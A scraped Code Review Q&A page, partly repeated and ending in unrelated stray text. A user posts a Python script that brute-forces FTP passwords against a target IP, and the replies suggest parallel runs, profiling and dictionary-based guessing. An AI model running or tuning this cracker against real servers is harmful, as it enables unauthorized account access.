Python Making Bruteforce Password Crack Faster












1















I made a simple password cracker using Python. But it's extremely slow. Here is my code:



import itertools
import string
import sys
import socket

def connection(ip, user, passw, port):
s = socket.socket()
s.connect((ip, int(port)))
data = s.recv(1024)
s.send(('USER ' + user + 'rn').encode())
data = s.recv(1024)
s.send(('PASS ' + passw + 'rn').encode())
data = s.recv(1024)
s.send(('quitrn').encode())
s.close()
return data
def crack(ip, user, port):
chars = string.digits + string.ascii_letters
for password_length in range(1, 9):
for guess in itertools.product(chars, repeat = password_length):
guess = ''.join(guess)
p = connection(ip, user, guess, port)
if '230'.encode() in p:
print('Username : ' + user + 'nPassword : ' + guess)
sys.exit(1)
if len(sys.argv) != 4:
print('Usage: ./passcracker.py <IP> <Username> <Port>')
sys.exit(1)
crack(sys.argv[1], sys.argv[2], sys.argv[3])


I want to make it faster. Also if there is any wrong part in code, please tell me.










share|improve this question









New contributor




Akın Oktay ATALAY is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.
















  • 1





    The slowness is very likely caused primarily by needing to connect to some server, sending data over the network, the server taking some time for the password check (and maybe explicitly slowing down on multiple attempts) etc. All these things are out of control of your program, i.e. caused by infrastructure you don't control. At most you can try to run multiple of such programs in parallel, each with a different sets of passwords to try.

    – Steffen Ullrich
    22 hours ago













  • @SteffenUllrich thanks.

    – Akın Oktay ATALAY
    22 hours ago






  • 1





    @Graipher yeah it's a copy-paste error thanks

    – Akın Oktay ATALAY
    21 hours ago
















1















I made a simple password cracker using Python. But it's extremely slow. Here is my code:



import itertools
import string
import sys
import socket

def connection(ip, user, passw, port):
s = socket.socket()
s.connect((ip, int(port)))
data = s.recv(1024)
s.send(('USER ' + user + 'rn').encode())
data = s.recv(1024)
s.send(('PASS ' + passw + 'rn').encode())
data = s.recv(1024)
s.send(('quitrn').encode())
s.close()
return data
def crack(ip, user, port):
chars = string.digits + string.ascii_letters
for password_length in range(1, 9):
for guess in itertools.product(chars, repeat = password_length):
guess = ''.join(guess)
p = connection(ip, user, guess, port)
if '230'.encode() in p:
print('Username : ' + user + 'nPassword : ' + guess)
sys.exit(1)
if len(sys.argv) != 4:
print('Usage: ./passcracker.py <IP> <Username> <Port>')
sys.exit(1)
crack(sys.argv[1], sys.argv[2], sys.argv[3])


I want to make it faster. Also if there is any wrong part in code, please tell me.










share|improve this question









New contributor




Akın Oktay ATALAY is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.
















  • 1





    The slowness is very likely caused primarily by needing to connect to some server, sending data over the network, the server taking some time for the password check (and maybe explicitly slowing down on multiple attempts) etc. All these things are out of control of your program, i.e. caused by infrastructure you don't control. At most you can try to run multiple of such programs in parallel, each with a different sets of passwords to try.

    – Steffen Ullrich
    22 hours ago













  • @SteffenUllrich thanks.

    – Akın Oktay ATALAY
    22 hours ago






  • 1





    @Graipher yeah it's a copy-paste error thanks

    – Akın Oktay ATALAY
    21 hours ago














1












1








1








I made a simple password cracker using Python. But it's extremely slow. Here is my code:



import itertools
import string
import sys
import socket

def connection(ip, user, passw, port):
s = socket.socket()
s.connect((ip, int(port)))
data = s.recv(1024)
s.send(('USER ' + user + 'rn').encode())
data = s.recv(1024)
s.send(('PASS ' + passw + 'rn').encode())
data = s.recv(1024)
s.send(('quitrn').encode())
s.close()
return data
def crack(ip, user, port):
chars = string.digits + string.ascii_letters
for password_length in range(1, 9):
for guess in itertools.product(chars, repeat = password_length):
guess = ''.join(guess)
p = connection(ip, user, guess, port)
if '230'.encode() in p:
print('Username : ' + user + 'nPassword : ' + guess)
sys.exit(1)
if len(sys.argv) != 4:
print('Usage: ./passcracker.py <IP> <Username> <Port>')
sys.exit(1)
crack(sys.argv[1], sys.argv[2], sys.argv[3])


I want to make it faster. Also if there is any wrong part in code, please tell me.










share|improve this question









New contributor




Akın Oktay ATALAY is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.












I made a simple password cracker using Python. But it's extremely slow. Here is my code:



import itertools
import string
import sys
import socket

def connection(ip, user, passw, port):
s = socket.socket()
s.connect((ip, int(port)))
data = s.recv(1024)
s.send(('USER ' + user + 'rn').encode())
data = s.recv(1024)
s.send(('PASS ' + passw + 'rn').encode())
data = s.recv(1024)
s.send(('quitrn').encode())
s.close()
return data
def crack(ip, user, port):
chars = string.digits + string.ascii_letters
for password_length in range(1, 9):
for guess in itertools.product(chars, repeat = password_length):
guess = ''.join(guess)
p = connection(ip, user, guess, port)
if '230'.encode() in p:
print('Username : ' + user + 'nPassword : ' + guess)
sys.exit(1)
if len(sys.argv) != 4:
print('Usage: ./passcracker.py <IP> <Username> <Port>')
sys.exit(1)
crack(sys.argv[1], sys.argv[2], sys.argv[3])


I want to make it faster. Also if there is any wrong part in code, please tell me.







python python-3.x socket






share|improve this question









New contributor




Akın Oktay ATALAY is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.











share|improve this question









New contributor




Akın Oktay ATALAY is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.









share|improve this question




share|improve this question








edited 21 hours ago







Akın Oktay ATALAY













New contributor




Akın Oktay ATALAY is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.









asked 23 hours ago









Akın Oktay ATALAYAkın Oktay ATALAY

113




113




New contributor




Akın Oktay ATALAY is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.





New contributor





Akın Oktay ATALAY is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.






Akın Oktay ATALAY is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.








  • 1





    The slowness is very likely caused primarily by needing to connect to some server, sending data over the network, the server taking some time for the password check (and maybe explicitly slowing down on multiple attempts) etc. All these things are out of control of your program, i.e. caused by infrastructure you don't control. At most you can try to run multiple of such programs in parallel, each with a different sets of passwords to try.

    – Steffen Ullrich
    22 hours ago













  • @SteffenUllrich thanks.

    – Akın Oktay ATALAY
    22 hours ago






  • 1





    @Graipher yeah it's a copy-paste error thanks

    – Akın Oktay ATALAY
    21 hours ago














  • 1





    The slowness is very likely caused primarily by needing to connect to some server, sending data over the network, the server taking some time for the password check (and maybe explicitly slowing down on multiple attempts) etc. All these things are out of control of your program, i.e. caused by infrastructure you don't control. At most you can try to run multiple of such programs in parallel, each with a different sets of passwords to try.

    – Steffen Ullrich
    22 hours ago













  • @SteffenUllrich thanks.

    – Akın Oktay ATALAY
    22 hours ago






  • 1





    @Graipher yeah it's a copy-paste error thanks

    – Akın Oktay ATALAY
    21 hours ago








1




1





The slowness is very likely caused primarily by needing to connect to some server, sending data over the network, the server taking some time for the password check (and maybe explicitly slowing down on multiple attempts) etc. All these things are out of control of your program, i.e. caused by infrastructure you don't control. At most you can try to run multiple of such programs in parallel, each with a different sets of passwords to try.

– Steffen Ullrich
22 hours ago







The slowness is very likely caused primarily by needing to connect to some server, sending data over the network, the server taking some time for the password check (and maybe explicitly slowing down on multiple attempts) etc. All these things are out of control of your program, i.e. caused by infrastructure you don't control. At most you can try to run multiple of such programs in parallel, each with a different sets of passwords to try.

– Steffen Ullrich
22 hours ago















@SteffenUllrich thanks.

– Akın Oktay ATALAY
22 hours ago





@SteffenUllrich thanks.

– Akın Oktay ATALAY
22 hours ago




1




1





@Graipher yeah it's a copy-paste error thanks

– Akın Oktay ATALAY
21 hours ago





@Graipher yeah it's a copy-paste error thanks

– Akın Oktay ATALAY
21 hours ago










1 Answer
1






active

oldest

votes


















1














As has been noted in the comments, you should try to figure out what part of the code is slow. Is it the connection to the server or does your program just have to try many passwords and that takes so long?





The former can be measured by decorating connection with a decorator that records the time it took to run the function:



import time
from functools import wraps

def timeit(func):
func.mean_time = [0]
func.k = [0]
@wraps(func)
def wrapper(*args, **kwargs):
start = time.perf_counter()
ret = func(*args, **kwargs)
t = time.perf_counter() - start

# update average
func.k[0] += 1
func.mean_time[0] += (t - func.mean_time[0]) / func.k[0]

print(f"{func.__name__} took {t} s (Average: {func.mean_time[0]} s)")
return ret
return wrapper


Which you can use like this in general:



@timeit
def f():
time.sleep(0.1)

for _ in range(10):
f()
# f took 0.1002191620063968 s (Average: 0.1002191620063968 s)
# f took 0.10021526199852815 s (Average: 0.10021721200246247 s)
# f took 0.10016683799767634 s (Average: 0.10020042066753376 s)
# f took 0.10014399800274987 s (Average: 0.10018631500133779 s)
# f took 0.10016678299871273 s (Average: 0.10018240860081278 s)
# f took 0.10017002299719024 s (Average: 0.10018034433354235 s)
# f took 0.10020436099875951 s (Average: 0.10018377528571623 s)
# f took 0.1001491690039984 s (Average: 0.1001794495005015 s)
# f took 0.10017034399788827 s (Average: 0.10017843777798892 s)
# f took 0.10020105999865336 s (Average: 0.10018070000005536 s)


And here specifically:



@timeit
def connect(ip, user, passw, port):
...


Note that this will slow down the overall execution time a bit (since stuff needs to be done in addition), but you do learn if the connect is the bottleneck (and you can always remove the timing again later).





To find out if it is just the number of permutations, I would add some debug prints. I would also factor out the generating of the passwords from trying them further:



def brute_force_n(chars, password_length):
start = time.perf_counter()
for i, guess in enumerate(itertools.product(chars, repeat=password_length)):
yield ''.join(guess)
print(f"Tried all {i + 1} permutations of length {password_length}.")
print(f"It took {time.perf_counter() - start} s.")

def brute_force(max_length=8):
chars = string.digits + string.ascii_letters
for password_length in range(1, max_length + 1):
yield from brute_force_n(chars, password_length)

def crack(ip, user, port):
for guess in brute_force():
p = connection(ip, user, guess, port)
if '230'.encode() in p:
print('Username : ' + user + 'nPassword : ' + guess)
sys.exit(1)


When testing this you will quickly discover that there are many permutations to try and even when doing nothing with them, this takes quite some time:



for _ in brute_force(5):
pass # do nothing with it

# Tried all 62 permutations of length 1.
# It took 3.321799886180088e-05 s.
# Tried all 3844 permutations of length 2.
# It took 0.0009744890048750676 s.
# Tried all 238328 permutations of length 3.
# It took 0.06495958699815674 s.
# Tried all 14776336 permutations of length 4.
# It took 4.06446365499869 s.
# Tried all 916132832 permutations of length 5.
# It took 310.80436263100273 s.


I stopped at length 5, you want to go to length 8. As you can see in this plot, the time rises very quickly (note the logarithmic y-axis):



enter image description here



Extrapolating this to password_length = 8, it would take about 536 days just to generate all combinations of that length.





The real solution to this problem is that you need to use some more information/a more clever tactic. A common method is to try words in a dictionary (and then words in a dictionary with numbers at the end, with known common replacements, etc).



Passwords are still used today because it is very hard to guess a (random) password of sufficient length.






share|improve this answer


























  • Thanks. But I have a question. Why do you used '@' in some points? Like @timeit or @wraps(func)

    – Akın Oktay ATALAY
    18 hours ago











  • @AkınOktayATALAY: That is the way decorators are used. Have a look e.g. here: programiz.com/python-programming/decorator

    – Graipher
    17 hours ago











  • The decorator doesn't work I get output: TypeError: 'NoneType' object is not callable

    – Akın Oktay ATALAY
    17 hours ago











  • @AkınOktayATALAY Are you copying everything? Does it work with the dummy function f? In which line does the problem occur? It does work on my machine...

    – Graipher
    17 hours ago













Your Answer





StackExchange.ifUsing("editor", function () {
return StackExchange.using("mathjaxEditing", function () {
StackExchange.MarkdownEditor.creationCallbacks.add(function (editor, postfix) {
StackExchange.mathjaxEditing.prepareWmdForMathJax(editor, postfix, [["\$", "\$"]]);
});
});
}, "mathjax-editing");

StackExchange.ifUsing("editor", function () {
StackExchange.using("externalEditor", function () {
StackExchange.using("snippets", function () {
StackExchange.snippets.init();
});
});
}, "code-snippets");

StackExchange.ready(function() {
var channelOptions = {
tags: "".split(" "),
id: "196"
};
initTagRenderer("".split(" "), "".split(" "), channelOptions);

StackExchange.using("externalEditor", function() {
// Have to fire editor after snippets, if snippets enabled
if (StackExchange.settings.snippets.snippetsEnabled) {
StackExchange.using("snippets", function() {
createEditor();
});
}
else {
createEditor();
}
});

function createEditor() {
StackExchange.prepareEditor({
heartbeatType: 'answer',
autoActivateHeartbeat: false,
convertImagesToLinks: false,
noModals: true,
showLowRepImageUploadWarning: true,
reputationToPostImages: null,
bindNavPrevention: true,
postfix: "",
imageUploader: {
brandingHtml: "Powered by u003ca class="icon-imgur-white" href="https://imgur.com/"u003eu003c/au003e",
contentPolicyHtml: "User contributions licensed under u003ca href="https://creativecommons.org/licenses/by-sa/3.0/"u003ecc by-sa 3.0 with attribution requiredu003c/au003e u003ca href="https://stackoverflow.com/legal/content-policy"u003e(content policy)u003c/au003e",
allowUrls: true
},
onDemand: true,
discardSelector: ".discard-answer"
,immediatelyShowMarkdownHelp:true
});


}
});






Akın Oktay ATALAY is a new contributor. Be nice, and check out our Code of Conduct.










draft saved

draft discarded


















StackExchange.ready(
function () {
StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2fcodereview.stackexchange.com%2fquestions%2f211365%2fpython-making-bruteforce-password-crack-faster%23new-answer', 'question_page');
}
);

Post as a guest















Required, but never shown

























1 Answer
1






active

oldest

votes








1 Answer
1






active

oldest

votes









active

oldest

votes






active

oldest

votes









1














As has been noted in the comments, you should try to figure out what part of the code is slow. Is it the connection to the server or does your program just have to try many passwords and that takes so long?





The former can be measured by decorating connection with a decorator that records the time it took to run the function:



import time
from functools import wraps

def timeit(func):
func.mean_time = [0]
func.k = [0]
@wraps(func)
def wrapper(*args, **kwargs):
start = time.perf_counter()
ret = func(*args, **kwargs)
t = time.perf_counter() - start

# update average
func.k[0] += 1
func.mean_time[0] += (t - func.mean_time[0]) / func.k[0]

print(f"{func.__name__} took {t} s (Average: {func.mean_time[0]} s)")
return ret
return wrapper


Which you can use like this in general:



@timeit
def f():
time.sleep(0.1)

for _ in range(10):
f()
# f took 0.1002191620063968 s (Average: 0.1002191620063968 s)
# f took 0.10021526199852815 s (Average: 0.10021721200246247 s)
# f took 0.10016683799767634 s (Average: 0.10020042066753376 s)
# f took 0.10014399800274987 s (Average: 0.10018631500133779 s)
# f took 0.10016678299871273 s (Average: 0.10018240860081278 s)
# f took 0.10017002299719024 s (Average: 0.10018034433354235 s)
# f took 0.10020436099875951 s (Average: 0.10018377528571623 s)
# f took 0.1001491690039984 s (Average: 0.1001794495005015 s)
# f took 0.10017034399788827 s (Average: 0.10017843777798892 s)
# f took 0.10020105999865336 s (Average: 0.10018070000005536 s)


And here specifically:



@timeit
def connect(ip, user, passw, port):
...


Note that this will slow down the overall execution time a bit (since stuff needs to be done in addition), but you do learn if the connect is the bottleneck (and you can always remove the timing again later).





To find out if it is just the number of permutations, I would add some debug prints. I would also factor out the generating of the passwords from trying them further:



def brute_force_n(chars, password_length):
start = time.perf_counter()
for i, guess in enumerate(itertools.product(chars, repeat=password_length)):
yield ''.join(guess)
print(f"Tried all {i + 1} permutations of length {password_length}.")
print(f"It took {time.perf_counter() - start} s.")

def brute_force(max_length=8):
chars = string.digits + string.ascii_letters
for password_length in range(1, max_length + 1):
yield from brute_force_n(chars, password_length)

def crack(ip, user, port):
for guess in brute_force():
p = connection(ip, user, guess, port)
if '230'.encode() in p:
print('Username : ' + user + 'nPassword : ' + guess)
sys.exit(1)


When testing this you will quickly discover that there are many permutations to try and even when doing nothing with them, this takes quite some time:



for _ in brute_force(5):
pass # do nothing with it

# Tried all 62 permutations of length 1.
# It took 3.321799886180088e-05 s.
# Tried all 3844 permutations of length 2.
# It took 0.0009744890048750676 s.
# Tried all 238328 permutations of length 3.
# It took 0.06495958699815674 s.
# Tried all 14776336 permutations of length 4.
# It took 4.06446365499869 s.
# Tried all 916132832 permutations of length 5.
# It took 310.80436263100273 s.


I stopped at length 5, you want to go to length 8. As you can see in this plot, the time rises very quickly (note the logarithmic y-axis):



enter image description here



Extrapolating this to password_length = 8, it would take about 536 days just to generate all combinations of that length.





The real solution to this problem is that you need to use some more information/a more clever tactic. A common method is to try words in a dictionary (and then words in a dictionary with numbers at the end, with known common replacements, etc).



Passwords are still used today because it is very hard to guess a (random) password of sufficient length.






share|improve this answer


























  • Thanks. But I have a question. Why do you used '@' in some points? Like @timeit or @wraps(func)

    – Akın Oktay ATALAY
    18 hours ago











  • @AkınOktayATALAY: That is the way decorators are used. Have a look e.g. here: programiz.com/python-programming/decorator

    – Graipher
    17 hours ago











  • The decorator doesn't work I get output: TypeError: 'NoneType' object is not callable

    – Akın Oktay ATALAY
    17 hours ago











  • @AkınOktayATALAY Are you copying everything? Does it work with the dummy function f? In which line does the problem occur? It does work on my machine...

    – Graipher
    17 hours ago


















1














As has been noted in the comments, you should try to figure out what part of the code is slow. Is it the connection to the server or does your program just have to try many passwords and that takes so long?





The former can be measured by decorating connection with a decorator that records the time it took to run the function:



import time
from functools import wraps

def timeit(func):
func.mean_time = [0]
func.k = [0]
@wraps(func)
def wrapper(*args, **kwargs):
start = time.perf_counter()
ret = func(*args, **kwargs)
t = time.perf_counter() - start

# update average
func.k[0] += 1
func.mean_time[0] += (t - func.mean_time[0]) / func.k[0]

print(f"{func.__name__} took {t} s (Average: {func.mean_time[0]} s)")
return ret
return wrapper


Which you can use like this in general:



@timeit
def f():
time.sleep(0.1)

for _ in range(10):
f()
# f took 0.1002191620063968 s (Average: 0.1002191620063968 s)
# f took 0.10021526199852815 s (Average: 0.10021721200246247 s)
# f took 0.10016683799767634 s (Average: 0.10020042066753376 s)
# f took 0.10014399800274987 s (Average: 0.10018631500133779 s)
# f took 0.10016678299871273 s (Average: 0.10018240860081278 s)
# f took 0.10017002299719024 s (Average: 0.10018034433354235 s)
# f took 0.10020436099875951 s (Average: 0.10018377528571623 s)
# f took 0.1001491690039984 s (Average: 0.1001794495005015 s)
# f took 0.10017034399788827 s (Average: 0.10017843777798892 s)
# f took 0.10020105999865336 s (Average: 0.10018070000005536 s)


And here specifically:



@timeit
def connect(ip, user, passw, port):
...


Note that this will slow down the overall execution time a bit (since stuff needs to be done in addition), but you do learn if the connect is the bottleneck (and you can always remove the timing again later).





To find out if it is just the number of permutations, I would add some debug prints. I would also factor out the generating of the passwords from trying them further:



def brute_force_n(chars, password_length):
start = time.perf_counter()
for i, guess in enumerate(itertools.product(chars, repeat=password_length)):
yield ''.join(guess)
print(f"Tried all {i + 1} permutations of length {password_length}.")
print(f"It took {time.perf_counter() - start} s.")

def brute_force(max_length=8):
chars = string.digits + string.ascii_letters
for password_length in range(1, max_length + 1):
yield from brute_force_n(chars, password_length)

def crack(ip, user, port):
for guess in brute_force():
p = connection(ip, user, guess, port)
if '230'.encode() in p:
print('Username : ' + user + 'nPassword : ' + guess)
sys.exit(1)


When testing this you will quickly discover that there are many permutations to try and even when doing nothing with them, this takes quite some time:



for _ in brute_force(5):
pass # do nothing with it

# Tried all 62 permutations of length 1.
# It took 3.321799886180088e-05 s.
# Tried all 3844 permutations of length 2.
# It took 0.0009744890048750676 s.
# Tried all 238328 permutations of length 3.
# It took 0.06495958699815674 s.
# Tried all 14776336 permutations of length 4.
# It took 4.06446365499869 s.
# Tried all 916132832 permutations of length 5.
# It took 310.80436263100273 s.


I stopped at length 5, you want to go to length 8. As you can see in this plot, the time rises very quickly (note the logarithmic y-axis):



enter image description here



Extrapolating this to password_length = 8, it would take about 536 days just to generate all combinations of that length.





The real solution to this problem is that you need to use some more information/a more clever tactic. A common method is to try words in a dictionary (and then words in a dictionary with numbers at the end, with known common replacements, etc).



Passwords are still used today because it is very hard to guess a (random) password of sufficient length.






share|improve this answer


























  • Thanks. But I have a question. Why do you used '@' in some points? Like @timeit or @wraps(func)

    – Akın Oktay ATALAY
    18 hours ago











  • @AkınOktayATALAY: That is the way decorators are used. Have a look e.g. here: programiz.com/python-programming/decorator

    – Graipher
    17 hours ago











  • The decorator doesn't work I get output: TypeError: 'NoneType' object is not callable

    – Akın Oktay ATALAY
    17 hours ago











  • @AkınOktayATALAY Are you copying everything? Does it work with the dummy function f? In which line does the problem occur? It does work on my machine...

    – Graipher
    17 hours ago
















1












1








1







As has been noted in the comments, you should try to figure out what part of the code is slow. Is it the connection to the server or does your program just have to try many passwords and that takes so long?





The former can be measured by decorating connection with a decorator that records the time it took to run the function:



import time
from functools import wraps

def timeit(func):
func.mean_time = [0]
func.k = [0]
@wraps(func)
def wrapper(*args, **kwargs):
start = time.perf_counter()
ret = func(*args, **kwargs)
t = time.perf_counter() - start

# update average
func.k[0] += 1
func.mean_time[0] += (t - func.mean_time[0]) / func.k[0]

print(f"{func.__name__} took {t} s (Average: {func.mean_time[0]} s)")
return ret
return wrapper


Which you can use like this in general:



@timeit
def f():
time.sleep(0.1)

for _ in range(10):
f()
# f took 0.1002191620063968 s (Average: 0.1002191620063968 s)
# f took 0.10021526199852815 s (Average: 0.10021721200246247 s)
# f took 0.10016683799767634 s (Average: 0.10020042066753376 s)
# f took 0.10014399800274987 s (Average: 0.10018631500133779 s)
# f took 0.10016678299871273 s (Average: 0.10018240860081278 s)
# f took 0.10017002299719024 s (Average: 0.10018034433354235 s)
# f took 0.10020436099875951 s (Average: 0.10018377528571623 s)
# f took 0.1001491690039984 s (Average: 0.1001794495005015 s)
# f took 0.10017034399788827 s (Average: 0.10017843777798892 s)
# f took 0.10020105999865336 s (Average: 0.10018070000005536 s)


And here specifically:



@timeit
def connect(ip, user, passw, port):
...


Note that this will slow down the overall execution time a bit (since stuff needs to be done in addition), but you do learn if the connect is the bottleneck (and you can always remove the timing again later).





To find out if it is just the number of permutations, I would add some debug prints. I would also factor out the generating of the passwords from trying them further:



def brute_force_n(chars, password_length):
start = time.perf_counter()
for i, guess in enumerate(itertools.product(chars, repeat=password_length)):
yield ''.join(guess)
print(f"Tried all {i + 1} permutations of length {password_length}.")
print(f"It took {time.perf_counter() - start} s.")

def brute_force(max_length=8):
chars = string.digits + string.ascii_letters
for password_length in range(1, max_length + 1):
yield from brute_force_n(chars, password_length)

def crack(ip, user, port):
for guess in brute_force():
p = connection(ip, user, guess, port)
if '230'.encode() in p:
print('Username : ' + user + 'nPassword : ' + guess)
sys.exit(1)


When testing this you will quickly discover that there are many permutations to try and even when doing nothing with them, this takes quite some time:



for _ in brute_force(5):
pass # do nothing with it

# Tried all 62 permutations of length 1.
# It took 3.321799886180088e-05 s.
# Tried all 3844 permutations of length 2.
# It took 0.0009744890048750676 s.
# Tried all 238328 permutations of length 3.
# It took 0.06495958699815674 s.
# Tried all 14776336 permutations of length 4.
# It took 4.06446365499869 s.
# Tried all 916132832 permutations of length 5.
# It took 310.80436263100273 s.


I stopped at length 5, you want to go to length 8. As you can see in this plot, the time rises very quickly (note the logarithmic y-axis):



enter image description here



Extrapolating this to password_length = 8, it would take about 536 days just to generate all combinations of that length.





The real solution to this problem is that you need to use some more information/a more clever tactic. A common method is to try words in a dictionary (and then words in a dictionary with numbers at the end, with known common replacements, etc).



Passwords are still used today because it is very hard to guess a (random) password of sufficient length.






share|improve this answer















As has been noted in the comments, you should try to figure out what part of the code is slow. Is it the connection to the server or does your program just have to try many passwords and that takes so long?





The former can be measured by decorating connection with a decorator that records the time it took to run the function:



import time
from functools import wraps

def timeit(func):
func.mean_time = [0]
func.k = [0]
@wraps(func)
def wrapper(*args, **kwargs):
start = time.perf_counter()
ret = func(*args, **kwargs)
t = time.perf_counter() - start

# update average
func.k[0] += 1
func.mean_time[0] += (t - func.mean_time[0]) / func.k[0]

print(f"{func.__name__} took {t} s (Average: {func.mean_time[0]} s)")
return ret
return wrapper


Which you can use like this in general:



@timeit
def f():
time.sleep(0.1)

for _ in range(10):
f()
# f took 0.1002191620063968 s (Average: 0.1002191620063968 s)
# f took 0.10021526199852815 s (Average: 0.10021721200246247 s)
# f took 0.10016683799767634 s (Average: 0.10020042066753376 s)
# f took 0.10014399800274987 s (Average: 0.10018631500133779 s)
# f took 0.10016678299871273 s (Average: 0.10018240860081278 s)
# f took 0.10017002299719024 s (Average: 0.10018034433354235 s)
# f took 0.10020436099875951 s (Average: 0.10018377528571623 s)
# f took 0.1001491690039984 s (Average: 0.1001794495005015 s)
# f took 0.10017034399788827 s (Average: 0.10017843777798892 s)
# f took 0.10020105999865336 s (Average: 0.10018070000005536 s)


And here specifically:



@timeit
def connect(ip, user, passw, port):
...


Note that this will slow down the overall execution time a bit (since stuff needs to be done in addition), but you do learn if the connect is the bottleneck (and you can always remove the timing again later).





To find out if it is just the number of permutations, I would add some debug prints. I would also factor out the generating of the passwords from trying them further:



def brute_force_n(chars, password_length):
start = time.perf_counter()
for i, guess in enumerate(itertools.product(chars, repeat=password_length)):
yield ''.join(guess)
print(f"Tried all {i + 1} permutations of length {password_length}.")
print(f"It took {time.perf_counter() - start} s.")

def brute_force(max_length=8):
chars = string.digits + string.ascii_letters
for password_length in range(1, max_length + 1):
yield from brute_force_n(chars, password_length)

def crack(ip, user, port):
for guess in brute_force():
p = connection(ip, user, guess, port)
if '230'.encode() in p:
print('Username : ' + user + 'nPassword : ' + guess)
sys.exit(1)


When testing this you will quickly discover that there are many permutations to try and even when doing nothing with them, this takes quite some time:



for _ in brute_force(5):
pass # do nothing with it

# Tried all 62 permutations of length 1.
# It took 3.321799886180088e-05 s.
# Tried all 3844 permutations of length 2.
# It took 0.0009744890048750676 s.
# Tried all 238328 permutations of length 3.
# It took 0.06495958699815674 s.
# Tried all 14776336 permutations of length 4.
# It took 4.06446365499869 s.
# Tried all 916132832 permutations of length 5.
# It took 310.80436263100273 s.


I stopped at length 5, you want to go to length 8. As you can see in this plot, the time rises very quickly (note the logarithmic y-axis):



enter image description here



Extrapolating this to password_length = 8, it would take about 536 days just to generate all combinations of that length.





The real solution to this problem is that you need to use some more information/a more clever tactic. A common method is to try words in a dictionary (and then words in a dictionary with numbers at the end, with known common replacements, etc).



Passwords are still used today because it is very hard to guess a (random) password of sufficient length.







share|improve this answer














share|improve this answer



share|improve this answer








edited 20 hours ago

























answered 20 hours ago









GraipherGraipher

23.8k53585




23.8k53585













  • Thanks. But I have a question. Why do you used '@' in some points? Like @timeit or @wraps(func)

    – Akın Oktay ATALAY
    18 hours ago











  • @AkınOktayATALAY: That is the way decorators are used. Have a look e.g. here: programiz.com/python-programming/decorator

    – Graipher
    17 hours ago











  • The decorator doesn't work I get output: TypeError: 'NoneType' object is not callable

    – Akın Oktay ATALAY
    17 hours ago











  • @AkınOktayATALAY Are you copying everything? Does it work with the dummy function f? In which line does the problem occur? It does work on my machine...

    – Graipher
    17 hours ago





















  • Thanks. But I have a question. Why do you used '@' in some points? Like @timeit or @wraps(func)

    – Akın Oktay ATALAY
    18 hours ago











  • @AkınOktayATALAY: That is the way decorators are used. Have a look e.g. here: programiz.com/python-programming/decorator

    – Graipher
    17 hours ago











  • The decorator doesn't work I get output: TypeError: 'NoneType' object is not callable

    – Akın Oktay ATALAY
    17 hours ago











  • @AkınOktayATALAY Are you copying everything? Does it work with the dummy function f? In which line does the problem occur? It does work on my machine...

    – Graipher
    17 hours ago



















Thanks. But I have a question. Why do you used '@' in some points? Like @timeit or @wraps(func)

– Akın Oktay ATALAY
18 hours ago





Thanks. But I have a question. Why do you used '@' in some points? Like @timeit or @wraps(func)

– Akın Oktay ATALAY
18 hours ago













@AkınOktayATALAY: That is the way decorators are used. Have a look e.g. here: programiz.com/python-programming/decorator

– Graipher
17 hours ago





@AkınOktayATALAY: That is the way decorators are used. Have a look e.g. here: programiz.com/python-programming/decorator

– Graipher
17 hours ago













The decorator doesn't work I get output: TypeError: 'NoneType' object is not callable

– Akın Oktay ATALAY
17 hours ago





The decorator doesn't work I get output: TypeError: 'NoneType' object is not callable

– Akın Oktay ATALAY
17 hours ago













@AkınOktayATALAY Are you copying everything? Does it work with the dummy function f? In which line does the problem occur? It does work on my machine...

– Graipher
17 hours ago







@AkınOktayATALAY Are you copying everything? Does it work with the dummy function f? In which line does the problem occur? It does work on my machine...

– Graipher
17 hours ago












Akın Oktay ATALAY is a new contributor. Be nice, and check out our Code of Conduct.










draft saved

draft discarded


















Akın Oktay ATALAY is a new contributor. Be nice, and check out our Code of Conduct.













Akın Oktay ATALAY is a new contributor. Be nice, and check out our Code of Conduct.












Akın Oktay ATALAY is a new contributor. Be nice, and check out our Code of Conduct.
















Thanks for contributing an answer to Code Review Stack Exchange!


  • Please be sure to answer the question. Provide details and share your research!

But avoid



  • Asking for help, clarification, or responding to other answers.

  • Making statements based on opinion; back them up with references or personal experience.


Use MathJax to format equations. MathJax reference.


To learn more, see our tips on writing great answers.




draft saved


draft discarded














StackExchange.ready(
function () {
StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2fcodereview.stackexchange.com%2fquestions%2f211365%2fpython-making-bruteforce-password-crack-faster%23new-answer', 'question_page');
}
);

Post as a guest















Required, but never shown





















































Required, but never shown














Required, but never shown












Required, but never shown







Required, but never shown

































Required, but never shown














Required, but never shown












Required, but never shown







Required, but never shown







Popular posts from this blog

Сан-Квентин

Алькесар

Josef Freinademetz